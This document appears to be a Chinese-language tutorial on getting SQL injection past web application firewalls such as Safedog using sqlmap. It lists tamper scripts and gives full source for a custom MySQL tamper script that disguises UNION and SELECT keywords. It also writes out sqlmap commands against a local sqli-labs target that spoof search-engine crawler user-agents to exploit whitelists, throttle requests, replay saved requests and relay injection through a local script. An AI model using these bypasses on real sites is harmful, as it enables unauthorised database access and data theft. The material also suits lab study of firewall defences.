bluecoat.py 在SQL语句以后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload所有字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload所有字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换所有等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每一个关键字以前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每一个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预约义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的全部字符
percentage.py 在每一个字符以前添加一个百分号
randomcase.py 随机转换每一个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加通过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“--”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一块儿替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每一个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每一个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
自定义一个脚本baypasswaf.py到tamper中,源码以下:
import os from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): #%23a%0aunion/*!44575select*/1,2,3 if payload: payload = payload.replace("union", "%23a%0aunion") payload = payload.replace("select", "/*!44575select*/") payload = payload.replace("%20", "%23a%0a") payload = payload.replace(" ", "%23a%0a") payload = payload.replace("database()", "database%23a%0a()") return payload
1.配合抓包工具bp进行分析
sqlmap可配合bp进行抓包分析
语句以下:
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --tamper=bypasswaf.py --proxy=http://127.0.0.1:8080
2.安全狗经过user-agent拦截,绕过方法
有时候安全狗可能会拦截,由于安全狗可分析日志,指纹,白名单信息等判断是否使用工具注入等。
好比能够经过判断http数据包中的user-agent判断是否时使用工具。
方法一:随机修改数据包中user-agent值
咱们可经过构造payload进行绕过,目的是随机修改数据包中user-agent的值
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --tamper=bypasswaf.py --proxy=http://127.0.0.1:8080 --random-agent --dbs
其中--random-agent是随机获取user-agent的值,以达到绕过的目的。
可见user-agent已经被更改
已经绕过且得到数据库名:
问题:安全狗开启CC流量防御,是否sqlmap会被拦截?
会被拦截。
方法二:修改user-agent为搜索引擎的值
在安全狗中有一些爬虫白名单,使用sqlmap时可将user-agent修改成白名单的user-agent以达到绕过效果。
常见网站爬虫user-agent信息:
百度:
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html) Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html) Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html) Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html) Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html) Baiduspider-image+(+http://www.baidu.com/search/spider.htm)
神马搜索:
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 YisouSpider/5.0 Safari/537.36 Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e YisouSpider/5.0 Safari/602.1
谷歌:
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html) Mozilla (iPhone; U; CPU iPhone OS 3 0 like Mac OS X) AppleWebKit (KHTML, like Gecko) Mobile Safari Mozilla/5.0 (compatible; Googlebot-Image/1.0; +http://www.google.com/bot.html)
搜狗:
Sogou+web+spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07) Sogou+Pic+Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07) Sogou+News+Spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07) Sogou+Video+Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)
360搜索:
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0); Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko)Version/4.0 Mobile Safari/534.30; 360Spider Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30; HaosouSpider 360spider (http://webscan.360.cn)
头条:
Mozilla/5.0 (compatible; Bytespider; https://zhanzhang.toutiao.com/) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36 Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/) Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Version/7.0 Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)
paylod:
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --tamper=bypasswaf.py --proxy=http://127.0.0.1:8080 --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" --dbs
方法三:添加代理池
方法四:延时注入
经过限制sqlmap的注入时间来绕过waf,加上--delay=times实现
payload:
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --tamper=bypasswaf.py --proxy=http://127.0.0.1:8080 --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" --delay=2 --dbs
方法五:
修改数据包,将其http数据包信息保存至sqlmap目录下,存为一个txt文件,再经过sqlmap经过这个文件来注入。
paylaod:
python sqlmap.py -r test.txt --tamper=bypasswaf.py -proxy=http://127.0.0.1:8080 -tables
方法六:中转注入
简单来讲就是sqlmap去注入本地的脚本地址--本地搭建脚本(运行环境)(请求数据包自定义)--来访问远程地址
具体见https://www.cnblogs.com/zhaohzaomumu/p/15087344.html文末。